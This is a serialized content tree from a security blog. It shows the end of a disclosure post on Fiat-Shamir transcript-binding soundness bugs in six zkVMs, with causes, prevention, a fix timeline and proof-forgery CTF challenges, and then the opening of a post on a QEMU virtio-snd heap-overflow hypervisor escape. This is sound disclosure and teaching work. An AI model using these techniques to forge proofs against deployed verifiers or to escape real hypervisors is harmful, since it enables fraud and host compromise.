:2806},{"type":22,"tag":23,"props":123913,"children":123914},{},[123915,123917,123922,123924,123997],{"type":27,"value":123916},"With challenges fixed (independent of ",{"type":22,"tag":257,"props":123918,"children":123920},{"className":123919},[],[123921],{"type":27,"value":62997},{"type":27,"value":123923},"), an attacker can find an alternate witness ",{"type":22,"tag":257,"props":123925,"children":123927},{"className":123926},[260,261],[123928],{"type":22,"tag":264,"props":123929,"children":123931},{"className":123930},[267],[123932],{"type":22,"tag":264,"props":123933,"children":123935},{"className":123934,"ariaHidden":273},[272],[123936],{"type":22,"tag":264,"props":123937,"children":123939},{"className":123938},[278],[123940,123945],{"type":22,"tag":264,"props":123941,"children":123944},{"className":123942,"style":123943},[283],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":123946,"children":123948},{"className":123947},[289],[123949,123958],{"type":22,"tag":264,"props":123950,"children":123952},{"className":123951},[289,27],[123953],{"type":22,"tag":264,"props":123954,"children":123956},{"className":123955},[289],[123957],{"type":27,"value":62997},{"type":22,"tag":264,"props":123959,"children":123961},{"className":123960},[2147],[123962],{"type":22,"tag":264,"props":123963,"children":123965},{"className":123964},[305],[123966],{"type":22,"tag":264,"props":123967,"children":123969},{"className":123968},[311],[123970],{"type":22,"tag":264,"props":123971,"children":123974},{"className":123972,"style":123973},[316],"height:0.8362em;",[123975],{"type":22,"tag":264,"props":123976,"children":123978},{"style":123977},"top:-3.1473em;margin-right:0.05em;",[123979,123983],{"type":22,"tag":264,"props":123980,"children":123982},{"className":123981,"style":2169},[326],[],{"type":22,"tag":264,"props":123984,"children":123986},{"className":123985},[332,333,334,335],[123987],{"type":22,"tag":264,"props":123988,"children":123990},{"className":123989},[289,335],[123991],{"type":22,"tag":264,"props":123992,"children":123994},{"className":123993},[289,335],[123995],{"type":27,"value":123996},"′",{"type":27,"value":123998}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":22,"tag":23,"props":124000,"children":124001},{},[124002,124006,124008],{"type":22,"tag":242,"props":124003,"children":124004},{},[124005],{"type":27,"value":118062},{"type":27,"value":124007}," Fixed on December 29, 2025 via ",{"type":22,"tag":69,"props":124009,"children":124012},{"href":124010,"rel":124011},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[73],[124013],{"type":27,"value":124014},"commit 86a515f",{"type":22,"tag":20097,"props":124016,"children":124017},{},[],{"type":22,"tag":169,"props":124019,"children":124021},{"id":124020},"why-does-this-keep-happening",[124022],{"type":27,"value":124023},"Why Does This Keep Happening?",{"type":22,"tag":23,"props":124025,"children":124026},{},[124027],{"type":27,"value":124028},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":22,"tag":181,"props":124030,"children":124032},{"id":124031},"academic-papers-dont-specify-fiat-shamir",[124033],{"type":27,"value":124034},"Academic Papers Don't Specify Fiat-Shamir",{"type":22,"tag":23,"props":124036,"children":124037},{},[124038,124040,124045,124047,124072,124074,124077,124079,124104,124106,124133],{"type":27,"value":124039},"Academic papers usually describe ",{"type":22,"tag":1699,"props":124041,"children":124042},{},[124043],{"type":27,"value":124044},"interactive",{"type":27,"value":124046}," protocols: \"Prover sends ",{"type":22,"tag":257,"props":124048,"children":124050},{"className":124049},[260,261],[124051],{"type":22,"tag":264,"props":124052,"children":124054},{"className":124053},[267],[124055],{"type":22,"tag":264,"props":124056,"children":124058},{"className":124057,"ariaHidden":273},[272],[124059],{"type":22,"tag":264,"props":124060,"children":124062},{"className":124061},[278],[124063,124067],{"type":22,"tag":264,"props":124064,"children":124066},{"className":124065,"style":441},[283],[],{"type":22,"tag":264,"props":124068,"children":124070},{"className":124069,"style":23420},[289,2178],[124071],{"type":27,"value":117582},{"type":27,"value":124073},". Verifier sends",{"type":22,"tag":32283,"props":124075,"children":124076},{},[],{"type":27,"value":124078},"random ",{"type":22,"tag":257,"props":124080,"children":124082},{"className":124081},[260,261],[124083],{"type":22,"tag":264,"props":124084,"children":124086},{"className":124085},[267],[124087],{"type":22,"tag":264,"props":124088,"children":124090},{"className":124089,"ariaHidden":273},[272],[124091],{"type":22,"tag":264,"props":124092,"children":124094},{"className":124093},[278],[124095,124099],{"type":22,"tag":264,"props":124096,"children":124098},{"className":124097,"style":112208},[283],[],{"type":22,"tag":264,"props":124100,"children":124102},{"className":124101,"style":94370},[289,2178],[124103],{"type":27,"value":95188},{"type":27,"value":124105},". Prover sends ",{"type":22,"tag":257,"props":124107,"children":124109},{"className":124108},[260,261],[124110],{"type":22,"tag":264,"props":124111,"children":124113},{"className":124112},[267],[124114],{"type":22,"tag":264,"props":124115,"children":124117},{"className":124116,"ariaHidden":273},[272],[124118],{"type":22,"tag":264,"props":124119,"children":124121},{"className":124120},[278],[124122,124126],{"type":22,"tag":264,"props":124123,"children":124125},{"className":124124,"style":441},[283],[],{"type":22,"tag":264,"props":124127,"children":124130},{"className":124128,"style":124129},[289,2178],"margin-right:0.00773em;",[124131],{"type":27,"value":124132},"R",{"type":27,"value":124134},".\"",{"type":22,"tag":23,"props":124136,"children":124137},{},[124138,124140,124165,124167,124192],{"type":27,"value":124139},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":22,"tag":257,"props":124141,"children":124143},{"className":124142},[260,261],[124144],{"type":22,"tag":264,"props":124145,"children":124147},{"className":124146},[267],[124148],{"type":22,"tag":264,"props":124149,"children":124151},{"className":124150,"ariaHidden":273},[272],[124152],{"type":22,"tag":264,"props":124153,"children":124155},{"className":124154},[278],[124156,124160],{"type":22,"tag":264,"props":124157,"children":124159},{"className":124158,"style":441},[283],[],{"type":22,"tag":264,"props":124161,"children":124163},{"className":124162,"style":23420},[289,2178],[124164],{"type":27,"value":117582},{"type":27,"value":124166}," before sampling ",{"type":22,"tag":257,"props":124168,"children":124170},{"className":124169},[260,261],[124171],{"type":22,"tag":264,"props":124172,"children":124174},{"className":124173},[267],[124175],{"type":22,"tag":264,"props":124176,"children":124178},{"className":124177,"ariaHidden":273},[272],[124179],{"type":22,"tag":264,"props":124180,"children":124182},{"className":124181},[278],[124183,124187],{"type":22,"tag":264,"props":124184,"children":124186},{"className":124185,"style":112208},[283],[],{"type":22,"tag":264,"props":124188,"children":124190},{"className":124189,"style":94370},[289,2178],[124191],{"type":27,"value":95188},{"type":27,"value":124193},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":22,"tag":23,"props":124195,"children":124196},{},[124197],{"type":27,"value":124198},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":22,"tag":181,"props":124200,"children":124202},{"id":124201},"the-hot-potato-problem",[124203],{"type":27,"value":124204},"The Hot Potato Problem",{"type":22,"tag":23,"props":124206,"children":124207},{},[124208],{"type":27,"value":124209},"Modern zkVMs are modular:",{"type":22,"tag":23,"props":124211,"children":124212},{},[124213],{"type":22,"tag":215,"props":124214,"children":124217},{"alt":124215,"src":124216},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":22,"tag":23,"props":124219,"children":124220},{},[124221],{"type":27,"value":124222},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":22,"tag":181,"props":124224,"children":124226},{"id":124225},"optimization-pressure",[124227],{"type":27,"value":124228},"Optimization Pressure",{"type":22,"tag":23,"props":124230,"children":124231},{},[124232],{"type":27,"value":124233},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":22,"tag":23,"props":124235,"children":124236},{},[124237],{"type":27,"value":124238},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":22,"tag":181,"props":124240,"children":124242},{"id":124241},"testing-doesnt-catch-adversarial-inputs",[124243],{"type":27,"value":124244},"Testing Doesn't Catch Adversarial Inputs",{"type":22,"tag":23,"props":124246,"children":124247},{},[124248],{"type":27,"value":124249},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":22,"tag":20097,"props":124251,"children":124252},{},[],{"type":22,"tag":169,"props":124254,"children":124256},{"id":124255},"how-to-find-and-fix-these-bugs",[124257],{"type":27,"value":124258},"How to Find and Fix These Bugs",{"type":22,"tag":181,"props":124260,"children":124262},{"id":124261},"prevention",[124263],{"type":27,"value":124264},"Prevention",{"type":22,"tag":23,"props":124266,"children":124267},{},[124268],{"type":27,"value":124269},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":22,"tag":23,"props":124271,"children":124272},{},[124273],{"type":27,"value":124274},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":22,"tag":23,"props":124276,"children":124277},{},[124278],{"type":27,"value":124279},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":22,"tag":23,"props":124281,"children":124282},{},[124283],{"type":27,"value":124284},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":22,"tag":23,"props":124286,"children":124287},{},[124288],{"type":27,"value":124289},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":22,"tag":20097,"props":124291,"children":124292},{},[],{"type":22,"tag":169,"props":124294,"children":124296},{"id":124295},"responsible-disclosure-timeline",[124297],{"type":27,"value":124298},"Responsible Disclosure Timeline",{"type":22,"tag":35,"props":124300,"children":124301},{},[124302,124327],{"type":22,"tag":39,"props":124303,"children":124304},{},[124305],{"type":22,"tag":43,"props":124306,"children":124307},{},[124308,124312,124317,124322],{"type":22,"tag":47,"props":124309,"children":124310},{},[124311],{"type":27,"value":24509},{"type":22,"tag":47,"props":124313,"children":124314},{},[124315],{"type":27,"value":124316},"Reported",{"type":22,"tag":47,"props":124318,"children":124319},{},[124320],{"type":27,"value":124321},"Fixed",{"type":22,"tag":47,"props":124323,"children":124324},{},[124325],{"type":27,"value":124326},"Response Time",{"type":22,"tag":58,"props":124328,"children":124329},{},[124330,124352,124373,124393,124415,124436],{"type":22,"tag":43,"props":124331,"children":124332},{},[124333,124337,124342,124347],{"type":22,"tag":65,"props":124334,"children":124335},{},[124336],{"type":27,"value":109181},{"type":22,"tag":65,"props":124338,"children":124339},{},[124340],{"type":27,"value":124341},"Sep 2025",{"type":22,"tag":65,"props":124343,"children":124344},{},[124345],{"type":27,"value":124346},"Oct 3, 2025",{"type":22,"tag":65,"props":124348,"children":124349},{},[124350],{"type":27,"value":124351},"\u003C1 week",{"type":22,"tag":43,"props":124353,"children":124354},{},[124355,124359,124364,124369],{"type":22,"tag":65,"props":124356,"children":124357},{},[124358],{"type":27,"value":109187},{"type":22,"tag":65,"props":124360,"children":124361},{},[124362],{"type":27,"value":124363},"Oct 2025",{"type":22,"tag":65,"props":124365,"children":124366},{},[124367],{"type":27,"value":124368},"Oct 24, 2025",{"type":22,"tag":65,"props":124370,"children":124371},{},[124372],{"type":27,"value":124351},{"type":22,"tag":43,"props":124374,"children":124375},{},[124376,124380,124384,124389],{"type":22,"tag":65,"props":124377,"children":124378},{},[124379],{"type":27,"value":109193},{"type":22,"tag":65,"props":124381,"children":124382},{},[124383],{"type":27,"value":124363},{"type":22,"tag":65,"props":124385,"children":124386},{},[124387],{"type":27,"value":124388},"Oct 31, 2025",{"type":22,"tag":65,"props":124390,"children":124391},{},[124392],{"type":27,"value":124351},{"type":22,"tag":43,"props":124394,"children":124395},{},[124396,124400,124405,124410],{"type":22,"tag":65,"props":124397,"children":124398},{},[124399],{"type":27,"value":109199},{"type":22,"tag":65,"props":124401,"children":124402},{},[124403],{"type":27,"value":124404},"Nov 2025",{"type":22,"tag":65,"props":124406,"children":124407},{},[124408],{"type":27,"value":124409},"Mar 5, 2026",{"type":22,"tag":65,"props":124411,"children":124412},{},[124413],{"type":27,"value":124414},"~4 months",{"type":22,"tag":43,"props":124416,"children":124417},{},[124418,124422,124427,124432],{"type":22,"tag":65,"props":124419,"children":124420},{},[124421],{"type":27,"value":109211},{"type":22,"tag":65,"props":124423,"children":124424},{},[124425],{"type":27,"value":124426},"Dec 2025",{"type":22,"tag":65,"props":124428,"children":124429},{},[124430],{"type":27,"value":124431},"Dec 29, 2025",{"type":22,"tag":65,"props":124433,"children":124434},{},[124435],{"type":27,"value":124351},{"type":22,"tag":43,"props":124437,"children":124438},{},[124439,124443,124447,124452],{"type":22,"tag":65,"props":124440,"children":124441},{},[124442],{"type":27,"value":109205},{"type":22,"tag":65,"props":124444,"children":124445},{},[124446],{"type":27,"value":124404},{"type":22,"tag":65,"props":124448,"children":124449},{},[124450],{"type":27,"value":124451},"Jan 21, 2026?",{"type":22,"tag":65,"props":124453,"children":124454},{},[124455],{"type":27,"value":124456},"3 months",{"type":22,"tag":23,"props":124458,"children":124459},{},[124460],{"type":27,"value":124461},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":22,"tag":20097,"props":124463,"children":124464},{},[],{"type":22,"tag":169,"props":124466,"children":124468},{"id":124467},"challenges",[124469],{"type":27,"value":109224},{"type":22,"tag":23,"props":124471,"children":124472},{},[124473,124475],{"type":27,"value":124474},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":22,"tag":124476,"props":124477,"children":124478},"del",{},[124479],{"type":27,"value":124480},"the first 10 solvers will get a T-shirt.",{"type":22,"tag":23,"props":124482,"children":124483},{},[124484,124486,124539,124540,124796],{"type":27,"value":124485},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":22,"tag":257,"props":124487,"children":124489},{"className":124488},[260,261],[124490],{"type":22,"tag":264,"props":124491,"children":124493},{"className":124492},[267],[124494],{"type":22,"tag":264,"props":124495,"children":124497},{"className":124496,"ariaHidden":273},[272],[124498],{"type":22,"tag":264,"props":124499,"children":124501},{"className":124500},[278],[124502,124506,124511,124516,124520,124525,124530,124534],{"type":22,"tag":264,"props":124503,"children":124505},{"className":124504,"style":2028},[283],[],{"type":22,"tag":264,"props":124507,"children":124509},{"className":124508},[289,2178],[124510],{"type":27,"value":69},{"type":22,"tag":264,"props":124512,"children":124514},{"className":124513},[5420],[124515],{"type":27,"value":5423},{"type":22,"tag":264,"props":124517,"children":124519},{"className":124518,"style":5427},[420],[],{"type":22,"tag":264,"props":124521,"children":124523},{"className":124522},[289,2178],[124524],{"type":27,"value":2181},{"type":22,"tag":264,"props":124526,"children":124528},{"className":124527},[5420],[124529],{"type":27,"value":5423},{"type":22,"tag":264,"props":124531,"children":124533},{"className":124532,"style":5427},[420],[],{"type":22,"tag":264,"props":124535,"children":124537},{"className":124536},[289,2178],[124538],{"type":27,"value":4449},{"type":27,"value":111023},{"type":22,"tag":257,"props":124541,"children":124543},{"className":124542},[260,261],[124544],{"type":22,"tag":264,"props":124545,"children":124547},{"className":124546},[267],[124548],{"type":22,"tag":264,"props":124549,"children":124551},{"className":124550,"ariaHidden":273},[272],[124552,124615,124677,124783],{"type":22,"tag":264,"props":124553,"children":124555},{"className":124554},[278],[124556,124561,124602,124606,124611],{"type":22,"tag":264,"props":124557,"children":124560},{"className":124558,"style":124559},[283],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":124562,"children":124564},{"className":124563},[289],[124565,124570],{"type":22,"tag":264,"props":124566,"children":124568},{"className":124567},[289,2178],[124569],{"type":27,"value":69},{"type":22,"tag":264,"props":124571,"children":124573},{"className":124572},[2147],[124574],{"type":22,"tag":264,"props":124575,"children":124577},{"className":124576},[305],[124578],{"type":22,"tag":264,"props":124579,"children":124581},{"className":124580},[311],[124582],{"type":22,"tag":264,"props":124583,"children":124585},{"className":124584,"style":5318},[316],[124586],{"type":22,"tag":264,"props":124587,"children":124588},{"style":5353},[124589,124593],{"type":22,"tag":264,"props":124590,"children":124592},{"className":124591,"style":2169},[326],[],{"type":22,"tag":264,"props":124594,"children":124596},{"className":124595},[332,333,334,335],[124597],{"type":22,"tag":264,"props":124598,"children":124600},{"className":124599},[289,335],[124601],{"type":27,"value":18598},{"type":22,"tag":264,"props":124603,"children":124605},{"className":124604,"style":665},[420],[],{"type":22,"tag":264,"props":124607,"children":124609},{"className":124608},[670],[124610],{"type":27,"value":673},{"type":22,"tag":264,"props":124612,"children":124614},{"className":124613,"style":665},[420],[],{"type":22,"tag":264,"props":124616,"children":124618},{"className":124617},[278],[124619,124623,124664,124668,124673],{"type":22,"tag":264,"props":124620,"children":124622},{"className":124621,"style":5318},[283],[],{"type":22,"tag":264,"props":124624,"children":124626},{"className":124625},[289],[124627,124632],{"type":22,"tag":264,"props":124628,"children":124630},{"className":124629},[289,2178],[124631],{"type":27,"value":2181},{"type":22,"tag":264,"props":124633,"children":124635},{"className":124634},[2147],[124636],{"type":22,"tag":264,"props":124637,"children":124639},{"className":124638},[305],[124640],{"type":22,"tag":264,"props":124641,"children":124643},{"className":124642},[311],[124644],{"type":22,"tag":264,"props":124645,"children":124647},{"className":124646,"style":5318},[316],[124648],{"type":22,"tag":264,"props":124649,"children":124650},{"style":5353},[124651,124655],{"type":22,"tag":264,"props":124652,"children":124654},{"className":124653,"style":2169},[326],[],{"type":22,"tag":264,"props":124656,"children":124658},{"className":124657},[332,333,334,335],[124659],{"type":22,"tag":264,"props":124660,"children":124662},{"className":124661},[289,335],[124663],{"type":27,"value":18598},{"type":22,"tag":264,"props":124665,"children":124667},{"className":124666,"style":421},[420],[],{"type":22,"tag":264,"props":124669,"children":124671},{"className":124670},[426],[124672],{"type":27,"value":429},{"type":22,"tag":264,"props":124674,"children":124676},{"className":124675,"style":421},[420],[],{"type":22,"tag":264,"props":124678,"children":124680},{"className":124679},[278],[124681,124686,124727,124732,124736,124741,124746,124750,124755,124760,124764,124769,124773,124779],{"type":22,"tag":264,"props":124682,"children":124685},{"className":124683,"style":124684},[283],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":124687,"children":124689},{"className":124688},[289],[124690,124695],{"type":22,"tag":264,"props":124691,"children":124693},{"className":124692},[289,2178],[124694],{"type":27,"value":4449},{"type":22,"tag":264,"props":124696,"children":124698},{"className":124697},[2147],[124699],{"type":22,"tag":264,"props":124700,"children":124702},{"className":124701},[305],[124703],{"type":22,"tag":264,"props":124704,"children":124706},{"className":124705},[311],[124707],{"type":22,"tag":264,"props":124708,"children":124710},{"className":124709,"style":5318},[316],[124711],{"type":22,"tag":264,"props":124712,"children":124713},{"style":5353},[124714,124718],{"type":22,"tag":264,"props":124715,"children":124717},{"className":124716,"style":2169},[326],[],{"type":22,"tag":264,"props":124719,"children":124721},{"className":124720},[332,333,334,335],[124722],{"type":22,"tag":264,"props":124723,"children":124725},{"className":124724},[289,335],[124726],{"type":27,"value":18598},{"type":22,"tag":264,"props":124728,"children":124730},{"className":124729},[5420],[124731],{"type":27,"value":5423},{"type":22,"tag":264,"props":124733,"children":124735},{"className":124734,"style":5427},[420],[],{"type":22,"tag":264,"props":124737,"children":124739},{"className":124738},[289,2178],[124740],{"type":27,"value":69},{"type":22,"tag":264,"props":124742,"children":124744},{"className":124743},[5420],[124745],{"type":27,"value":5423},{"type":22,"tag":264,"props":124747,"children":124749},{"className":124748,"style":5427},[420],[],{"type":22,"tag":264,"props":124751,"children":124753},{"className":124752},[289,2178],[124754],{"type":27,"value":2181},{"type":22,"tag":264,"props":124756,"children":124758},{"className":124757},[5420],[124759],{"type":27,"value":5423},{"type":22,"tag":264,"props":124761,"children":124763},{"className":124762,"style":5427},[420],[],{"type":22,"tag":264,"props":124765,"children":124767},{"className":124766},[289,2178],[124768],{"type":27,"value":4449},{"type":22,"tag":264,"props":124770,"children":124772},{"className":124771,"style":421},[420],[],{"type":22,"tag":264,"props":124774,"children":124776},{"className":124775},[426],[124777],{"type":27,"value":124778},"≥",{"type":22,"tag":264,"props":124780,"children":124782},{"className":124781,"style":421},[420],[],{"type":22,"tag":264,"props":124784,"children":124786},{"className":124785},[278],[124787,124791],{"type":22,"tag":264,"props":124788,"children":124790},{"className":124789,"style":850},[283],[],{"type":22,"tag":264,"props":124792,"children":124794},{"className":124793},[289],[124795],{"type":27,"value":602},{"type":27,"value":124797},". Good luck!",{"type":22,"tag":181,"props":124799,"children":124801},{"id":124800},"jolt",[124802],{"type":27,"value":109181},{"type":22,"tag":23,"props":124804,"children":124805},{},[124806,124808,124819,124821],{"type":27,"value":124807},"See ",{"type":22,"tag":69,"props":124809,"children":124816},{"href":124810,"target":124811,"rel":124812,"download":124815},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[124813,124814],"noopener","noreferrer","handout_jolt.tar.gz",[124817],{"type":27,"value":124818},"the handout",{"type":27,"value":124820}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":22,"tag":257,"props":124822,"children":124824},{"className":124823},[],[124825],{"type":27,"value":124826},"jolt.chal.osec.io:8960",{"type":22,"tag":181,"props":124828,"children":124830},{"id":124829},"nexus-1",[124831],{"type":27,"value":109187},{"type":22,"tag":23,"props":124833,"children":124834},{},[124835,124836,124843,124844],{"type":27,"value":124807},{"type":22,"tag":69,"props":124837,"children":124841},{"href":124838,"target":124811,"rel":124839,"download":124840},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[124813,124814],"handout_nexus.tar.gz",[124842],{"type":27,"value":124818},{"type":27,"value":124820},{"type":22,"tag":257,"props":124845,"children":124847},{"className":124846},[],[124848],{"type":27,"value":124849},"nexus.chal.osec.io:8950",{"type":22,"tag":23,"props":124851,"children":124852},{},[124853],{"type":27,"value":124854},"Now you should have enough margin to prove Fermat wrong.",{"type":22,"tag":20097,"props":124856,"children":124857},{},[],{"type":22,"tag":169,"props":124859,"children":124861},{"id":124860},"takeaways",[124862],{"type":27,"value":124863},"Takeaways",{"type":22,"tag":23,"props":124865,"children":124866},{},[124867],{"type":27,"value":124868},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":22,"tag":23,"props":124870,"children":124871},{},[124872],{"type":27,"value":124873},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":22,"tag":23,"props":124875,"children":124876},{},[124877,124882],{"type":22,"tag":242,"props":124878,"children":124879},{},[124880],{"type":27,"value":124881},"For the ZK ecosystem:",{"type":27,"value":124883}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":22,"tag":23,"props":124885,"children":124886},{},[124887],{"type":27,"value":124888},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":22,"tag":23,"props":124890,"children":124891},{},[124892,124897],{"type":22,"tag":242,"props":124893,"children":124894},{},[124895],{"type":27,"value":124896},"For auditors:",{"type":27,"value":124898}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":22,"tag":23,"props":124900,"children":124901},{},[124902,124907],{"type":22,"tag":242,"props":124903,"children":124904},{},[124905],{"type":27,"value":124906},"For builders:",{"type":27,"value":124908}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":22,"tag":4139,"props":124910,"children":124911},{},[124912],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":124914},[124915,124916,124919,124925,124926,124934,124940,124943,124944,124948],{"id":109232,"depth":1545,"text":109235},{"id":109374,"depth":1545,"text":109377,"children":124917},[124918],{"id":109380,"depth":1560,"text":109383},{"id":109809,"depth":1545,"text":109812,"children":124920},[124921,124922,124923,124924],{"id":109820,"depth":1560,"text":109823},{"id":110008,"depth":1560,"text":110011},{"id":113388,"depth":1560,"text":113391},{"id":114598,"depth":1560,"text":114601},{"id":116227,"depth":1545,"text":116230},{"id":116731,"depth":1545,"text":116734,"children":124927},[124928,124929,124930,124931,124932,124933],{"id":116753,"depth":1560,"text":116756},{"id":118077,"depth":1560,"text":109187},{"id":119213,"depth":1560,"text":119216},{"id":119881,"depth":1560,"text":119884},{"id":122537,"depth":1560,"text":122540},{"id":123091,"depth":1560,"text":109211},{"id":124020,"depth":1545,"text":124023,"children":124935},[124936,124937,124938,124939],{"id":124031,"depth":1560,"text":124034},{"id":124201,"depth":1560,"text":124204},{"id":124225,"depth":1560,"text":124228},{"id":124241,"depth":1560,"text":124244},{"id":124255,"depth":1545,"text":124258,"children":124941},[124942],{"id":124261,"depth":1560,"text":124264},{"id":124295,"depth":1545,"text":124298},{"id":124467,"depth":1545,"text":109224,"children":124945},[124946,124947],{"id":124800,"depth":1560,"text":109181},{"id":124829,"depth":1560,"text":109187},{"id":124860,"depth":1545,"text":124863},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":124953,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":124954,"description":124955,"date":124956,"author":124957,"image":124958,"isFeatured":17,"onBlogPage":17,"tags":124960,"body":124963,"_type":4157,"_id":133249,"_source":4159,"_file":133250,"_stem":133251,"_extension":4162},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":124959,"width":98589,"height":14922},"/posts/virtio-snd-qemu-0day/title.png",[124961,124962],"qemu","heap-overflow",{"type":19,"children":124964,"toc":133231},[124965,124970,124975,124980,124986,124991,124996,125004,125010,125022,125026,125031,125039,125044,125050,125055,125068,125678,125713,125758,125792,125827,125962,126010,126016,126021,126777,126822,126858,126893,126958,126978,127428,127475,127478,127483,127548,127574,127596,127600,127605,127610,127616,127621,127626,127631,127637,127650,127656,127661,127669,127739,127744,127750,127763,127989,128052,128071,128454,128459,128492,128497,128773,128785,128803,129082,129094,129097,129132,129137,129143,129155,129167,129172,129177,129187,129222,129839,129871,129882,129918,129931,129937,129949,129957,129983,129988,130021,130062,130068,130087,130125,130133,130182,130187,130236,130241,130249,130336,130342,130381,130393,130401,130419,130438,130446,130458,130466,130485,130493,130504,130512,130523,130531,130544,130552,130558,130563,130576,130584,130602,130610,130622,130627,130635,130671,130704,130711,130745,130753,130758,130764,130776,130787,131066,131126,131194,131202,131236,131840,131851,131859,131865,131870,131881,132635,132668,132680,132766,132786,132995,133042,133054,133060,133079,133105,133133,133149,133176,133179,133199,133213,133217,133222,133227],{"type":22,"tag":23,"props":124966,"children":124967},{},[124968],{"type":27,"value":124969},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":22,"tag":169,"props":124971,"children":124972},{"id":124961},[124973],{"type":27,"value":124974},"QEMU",{"type":22,"tag":23,"props":124976,"children":124977},{},[124978],{"type":27,"value":124979},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":22,"tag":181,"props":124981,"children":124983},{"id":124982},"virtio-devices",[124984],{"type":27,"value":124985},"Virtio Devices",{"type":22,"tag":23,"props":124987,"children":124988},{},[124989],{"type":27,"value":124990},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":22,"tag":23,"props":124992,"children":124993},{},[124994],{"type":27,"value":124995},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":22,"tag":23,"props":124997,"children":124998},{},[124999],{"type":22,"tag":215,"props":125000,"children":125003},{"alt":125001,"src":125002},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":22,"tag":169,"props":125005,"children":125007},{"id":125006},"finding-a-bug",[125008],{"type":27,"value":125009},"Finding a Bug",{"type":22,"tag":23,"props":125011,"children":125012},{},[125013,125015,125021],{"type":27,"value":125014},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":22,"tag":257,"props":125016,"children":125018},{"className":125017},[],[125019],{"type":27,"value":125020},"virtio-snd",{"type":27,"value":210},{"type":22,"tag":181,"props":125023,"children":125024},{"id":125020},[125025],{"type":27,"value":125020},{"type":22,"tag":23,"props":125027,"children":125028},{},[125029],{"type":27,"value":125030},"From the official documentation:",{"type":22,"tag":4226,"props":125032,"children":125033},{},[125034],{"type":22,"tag":23,"props":125035,"children":125036},{},[125037],{"type":27,"value":125038},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host 